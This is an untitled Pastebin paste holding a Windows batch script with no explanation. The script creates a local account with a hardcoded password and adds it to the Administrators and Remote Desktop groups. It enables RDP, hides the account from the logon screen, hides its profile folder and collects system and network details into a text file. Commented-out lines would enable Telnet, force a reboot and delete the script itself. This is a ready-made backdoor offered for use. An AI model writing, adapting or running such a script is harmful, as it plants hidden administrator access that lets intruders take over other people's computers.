Advertisement
Guest User

Untitled

a guest
Sep 8th, 2016
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.72 KB | None | 0 0
  1. @echo off
  2. set user=Server
  3. set pass=server12345671a
  4. set AdmGroupSID=S-1-5-32-544
  5. set AdmGroup=
  6. For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%AdmGroupSID%'" Get Name /Value ^| Find "="`) Do set AdmGroup=%%J
  7. set AdmGroup=%AdmGroup:~0,-1%
  8. net user %user% %pass% /add /active:"yes" /expires:"never" /passwordchg:"NO"
  9. net localgroup %AdmGroup% %user% /add
  10. set RDPGroupSID=S-1-5-32-555
  11. set RDPGroup=
  12. For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%RDPGroupSID%'" Get Name /Value ^| Find "="`) Do set RDPGroup=%%J
  13. set RDPGroup=%RDPGroup:~0,-1%
  14. net localgroup "%RDPGroup%" %user% /add
  15. net accounts /forcelogoff:no /maxpwage:unlimited
  16. reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
  17. reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
  18. reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f
  19. reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" REG_DWORD /d 0x0 /f
  20. reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
  21. reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %user% /t REG_DWORD /d 0x0 /f
  22. attrib %systemdrive%\users\%user% +r +a +s +h
  23. dxdiag /whql:off /t c:\systeminfo.txt
  24. systeminfo >> c:\systeminfo.txt
  25. ipconfig >> c:\systeminfo.txt
  26. ::netsh firewall add portopening TCP 3389 "Remote Desktop"
  27. ::sc config tlntsvr start=auto
  28. ::tlntadmn config port=2323 sec=-NTLM
  29. ::net start Telnet
  30. ::shutdown.exe -r -t 00 -f
  31. ::del %0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement